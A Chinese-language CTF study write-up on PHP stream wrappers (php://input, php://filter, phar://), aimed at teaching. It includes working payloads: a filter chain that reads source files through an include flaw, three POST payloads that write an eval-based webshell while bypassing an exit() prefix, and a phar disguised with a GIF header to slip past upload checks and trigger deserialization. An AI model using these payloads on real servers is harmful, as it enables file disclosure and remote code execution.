php伪协议学习总结
0x00 前言
hgame的线上和线下赛都陆续结束了,收获蛮多的,其中就有许多的题目涉及到了PHP伪协议的运用,趁着现在有点空余时间,也想起了之前司大哥让我好好的总结一下这方面的知识,于是便写一写这方面的有关知识。
----
首先给出官方文档:http://php.net/manual/zh/wrappers.php
包括以下一些内容:
file:// (http://php.net/manual/zh/wrappers.file.php) — 访问本地文件系统
http:// (http://php.net/manual/zh/wrappers.http.php) — 访问 HTTP(s) 网址
ftp:// (http://php.net/manual/zh/wrappers.ftp.php) — 访问 FTP(s) URLs
php:// (http://php.net/manual/zh/wrappers.php.php) — 访问各个输入/输出流(I/O streams)
zlib:// (http://php.net/manual/zh/wrappers.compression.php) — 压缩流
data:// (http://php.net/manual/zh/wrappers.data.php) — 数据(RFC 2397)
glob:// (http://php.net/manual/zh/wrappers.glob.php) — 查找匹配的文件路径模式
phar:// (http://php.net/manual/zh/wrappers.phar.php) — PHP 归档
ssh2:// (http://php.net/manual/zh/wrappers.ssh2.php) — Secure Shell 2
rar:// (http://php.net/manual/zh/wrappers.rar.php) — RAR
ogg:// (http://php.net/manual/zh/wrappers.audio.php) — 音频流
expect:// (http://php.net/manual/zh/wrappers.expect.php) — 处理交互式的流
下面就按照我目前所做到的题目中,以上协议出现的大致频率作一些总结。
0x01 PHP输入流:php://input 相关
php://input的理解
第一次接触这个协议是在赛博的新生测试中,当时才刚刚接触CTF,什么都不会(虽说现在也差不多)。
回忆一下当时的题目,大致是这么一段源码:
$data = @file_get_contents($_GET['data'],'r');
......
if($data=="web_1s_rea1_funny"&& preg_match("/^lalala$/m", $_GET['fake'])&& $_GET['fake']!=="lalala") {...}
我们需要传入一个文件,内容为 web_1s_rea1_funny,这里就可以通过伪协议 php://input达到目的。
首先看到官方文档中有这么一段话:
php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data。
以上信息提取整理一下大致就是:
1.读取POST数据。
2.在**enctype=multipart/form-data**时无效。
3.和**$HTTP_RAW_POST_DATA**的比较。
首先需要学习了解一下几个http的相关知识
我们一般将http请求分为三部分:状态行,请求头,请求体,而在请求头中:
Content-Type:指定服务器返回(发送回来)的实体数据类型。格式:Content-Type: [type]/[subtype]
例如: Content-type:text/html 就表示返回的内容是文本格式,且是HTML格式的文本内容。
上文提到的**enctype**,是form表单的一个属性,可在指定请求头中Content-Type的值。
既然提到了Content-type 那也就顺带的提一下**Accept**。
Accept:表明了客户端希望接受的数据类型。格式与Content-Type相同。
php://input 的独特之处?
下面进入正题:
首先我们提出几个问题:
1.php://input 和 内置变量**$_POST以及在PHP7.0版本中已经被移除的$HTTP_RAW_POST_DATA**有什么区别?
2.php://input 作为PHP输入流 可以获取POST数据,那么是否也能够获取GET数据?
3.在哪些情况下会使用到PHP://input ?
他们都可读取POST数据,那么他们之间有什么区别和联系呢?(主要讨论前两者)
我们来写一个测试程序了解一下:
<html>
<head>
<title></title>
</head>
<body>
<form action="test.php" method="post">
<input type="text" name="name" value="">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
<?php
echo "----------php://input--------<br />";
var_dump(file_get_contents('php://input', 'r'));
echo "<br />----------post---------<br />";
var_dump($_POST);
?>
直接进行测试,此时默认 Content-Type: application/x-www-form-urlencoded
发现以下输出:
----------php://input--------
string(23) "name=test&submit=submit"
----------post---------
array(2) { ["name"]=> string(4) "test" ["submit"]=> string(6) "submit" }
我们发现request body 中的数据被转换为了关联数组存入变量$_POST中,而php://input则读取了post的原始数据。
接下来改变Content-Type的值 ,通过改变表单的属性:enctype="multipart/form-data"
<form action="test.php" method="post" enctype="multipart/form-data">
<input type="text" name="name" value="">
<input type="submit" name="submit" value="submit">
得到以下结果:
----------php://input--------
string(0) ""
----------post---------
array(2) { ["name"]=> string(4) "test" ["submit"]=> string(6) "submit" }
可以发现,这时php://input 已经读取不到post的数据了。
而当指定**Content-Type=text/plain**的时候:
----------php://input--------
string(26) "name=test submit=submit "
----------post---------
array(0) { }
发现$_POST已经获取不到数据了,而php://input正常的获取到了原始数据。
小结
$_POST:
$POST是最常用的一种读取post数据的方式,$POST 在请求类型设置成application/x-www-data-urlencoded和multipart/form-data才会去请求体中封装数据返回给程序。
php://input:
php://input作为php的输入流,可以获取到http请求体中的原始数据,但是在enctype=multipart/form-data时无效。
php://input 作为php的输入流,能否读取GET数据?
上面已经提到了,php://input是通过读取http请求主体的方式来获取数据的,之所以能够获取到post的数据,正是因为以post方式提交数据后,会将post数据写在请求主体中再发送给服务器,所以php://input可以获取到post的数据,而相应的,GET的数据存在于URL以及请求头的起始行,所以无法被php://input获取。
在哪些情况下会使用到php://input所获取的原始数据?
很多时候,接收到不是网页 POST 过来的数据,而是可能通过其他方式 POST 过来的 “text/xml” 格式的数据,这些内容无法解析成 $_POST 数组,这个时候我们就需要原始的 POST 数据进行处理。
0x02 PHP://filter
php://filter 在CTF题目中出现的频率很高,而且非常的有用,所以也稍作整理一下。
什么是php://filter
要使用php://filter ,其受限于php.ini配置:
allow_url_fopen和allow_url_include
首先看官方文档怎么说:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
大致总结归纳出以下几点:
1.根据名字,filter,顾名思义,是一个可以用来过滤一些东西的协议,而过滤的目标(数据流)就是通过resource来指定的。
2.read参数用来设定读取数据时所使用的过滤的方式(过滤器),并且能够使用多个过滤器。
3.write则是写入文件时所使用的参数,其功能与read类似。
补充一点:filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。
如何使用php://filter
下面就结合具体的例子来理解一下:
简单的文件包含
<?php
$file = $_GET['file'];
if(isset($file)){
include("$file");
}else{
echo "file fail";
}
?>
上面是最简单的一个文件包含漏洞,因为没有对可控变量$file进行过滤处理,导致可以包含任意文件。
比如我们想要读取到同目录下的flag.php文件,很容易我们就会写出以下Payload:
xxx.php?file=php://filter/read=convert.base64-encode/resource=flag.php
便可以得到经过base64加密的文件内容。
但要是直接使用
xxx.php?file=flag.php
会发现,得不到任何内容,这是为什么呢?
在hgame的时候,Li4n0学长问过我这个问题,当时对这个东西还是比较模糊的,只知道怎么用,却忽视了其中的原理。
其实这是因为,我们所包含的文件flag.php是一段php代码,在整个网页的请求过程中,我们的flag.php文件中的代码符合php语法规范,所以服务器首先执行了php代码,将其翻译为html再发送到客户端浏览器上显示出来,因此,php的"真身"在被执行之后就无法在浏览器中显示出来了。
所以我们需要使服务器读到的文件不符合语法规范,这里就用到了过滤器:convert.base64-encode
将php代码base64加密后再返回给浏览器我们的代码就不会被执行了,于是就成功的读取到了文件内容。
当然,这里不仅仅可以用base64加密的方式,还有许多过滤器可以使用,下面就总结一下:
字符串过滤器:(string.*)
1.string.rot13 将字符串进行rot13编码
(ps:非字母无法被rot13编码,如:尖括号标签,所以不能完全代替base64的功能读取php文件)
2.string.toupper 以大写字母的形式读取文件内容
3.string.tolower 以小写字母的形式读取文件内容
4.string.strip_tags 去除数据流中的标签 (包括HTML XML PHP等的标签)
转换过滤器:(convert.*)
1.convert.base64-encode/decode 最常用的,将数据流进行base64加密
2.convert.quoted-printable-encode/decode
举个经典的例子说明一下:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
在这段代码中,开头加了exit过程,导致无法执行我们写入的webshell,但是我们可以发现**file_put_contents**函数中的 **$_POST['filename']**我们是可控的,并且能够使用伪协议,所以这里我们有以下几种解法:
解法一:
可以使用php://filter配合base64的转换过滤器使得exit失效,
首先还是需要了解一下base64编码的具体过程:
在大佬的博客中看见,一个正常的base64_decode实际上可以理解为如下两个步骤:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
正常的base64编码的范围包括所有字母数字以及+/共64个字符,所以很明显,题中字符<、?、;、>、
空格等一共有7个字符不符合base64编码的字符范围将被忽略,最终被解码的字符仅有“phpexit”和我们传入的其他字符。但是"phpexit"只有7个字符,而base64算法解码时以4个字符为一组,所以我们应该再给他配上一个字符,如我们可以构造:phpexita 使其可以被正常解码,成为非法的php代码,将其绕过。
最终payload:
[POST]
txt=aPD9waHAgQGV2YWwoJF9QT1NUWydjb2RlJ107KT8+&filename=php://filter/write=convert.base64-decode/resource=shell.php
解法二:
由于我们需要绕过的语句由php标签包围,所以我们可以利用上述提到的字符串过滤器:**string.strip_tags**来过滤php标签,但是考虑到我们要写入的webshell也是带有标签的内容,所以不能够直接处理掉所有的标签,所以我们可以通过先将base64编码的方式将webshell编码,防止其受到影响。同时,我们用到上述介绍到的 可以设定一个或多个过滤器 这点,先使用string.strip_tags来去除标签,再使用convert.base64-decode将我们的webshell解码复原便可绕过。
最终payload:
[POST]
txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
解法三:
前面有介绍到字符串过滤器**string.rot13**,所以这里我们还可以通过string.rot13来绕过。
<?php exit; ?>
在经过rot13编码后会变成<?cuc rkvg; ?>
,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了。
所以我们只要构造:
[POST]
txt=<?cuc rkvg; ?>&filename=php://filter/write=string.rot13/resource=shell.php
0x03 phar:// 的理解和使用
什么是phar?
PHP5.3 之后支持了类似 Java 的 jar 包,名为 phar。用来将多个 PHP 文件打包为一个文件。这个特性使得 PHP 也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。(但是好像并没什么人用
phar文件的结构
stub
一个供phar扩展用于识别的标志,格式为xxx\,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
contents
被压缩文件的内容。
signature
签名,放在文件末尾,格式如下:
初探phar://
要使用php内置的phar类来进行生成phar文件的操作,我们首先需要将php.ini中的**phar_readonly设置为off**,否则phar为只读模式,无法生成写入文件,修改后,调出phpinfo确认是否已经成功开启。
成功关闭后,我们可以尝试创建一个phar文件:
<?php
class Test {
}
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o -> data='Annevi';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
成功生成phar文件。
查看我们生成的phar文件,发现我们写入的数据(meta-data)被以序列化的方式储存起来。
这里的序列化也就是phar文件存在的意义,它可以将类、属性等通过序列化为字符串的形式,将其打包起来,方便使用和储存,但是,序列化之后在使用时必然会有反序列化的操作。
在php解析phar包的时候,会将meta-data 的内容反序列化,恢复之前我们写入的内容,如:
<?php
class Test{
function __destruct() //魔术方法,在对象被销毁时自动调用
{
echo $this -> data;
}
}
include('phar://test.phar');
?>
通过伪协议phar://读取(解压)我们生成的phar文件得到:
发现我们之前写入的内容已经被成功反序列化恢复了。
这也就会引起许多的安全问题,比如如果我们写入一段恶意代码。先不细说,在之后的反序列化漏洞总结中再详细介绍。
通过修改文件头,伪造phar为其他格式
前面介绍了php识别phar文件时是通过phar文件头中的stub,也就是**__HALT_COMPILER();?>**这段代码,并没有规定其在文件头中出现的位置或者是文件后缀,所以我们可以通过伪造文件头同时修改后缀的方式伪造成其他文件,从而绕过一些文件类型的检测。
<?php
class Test {
}
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o -> data='Annevi';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
用binwalk分析文件类型,可以看到,已经被识别为gif类型了。这在一些只允许图片上传的场景中很有用。
参考文档:
https://lorexxar.cn/2016/09/14/php-wei/
https://blog.wpjam.com/m/post-http_raw_post_data-php-input/
http://www.nowamagic.net/academy/detail/12220520
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/2715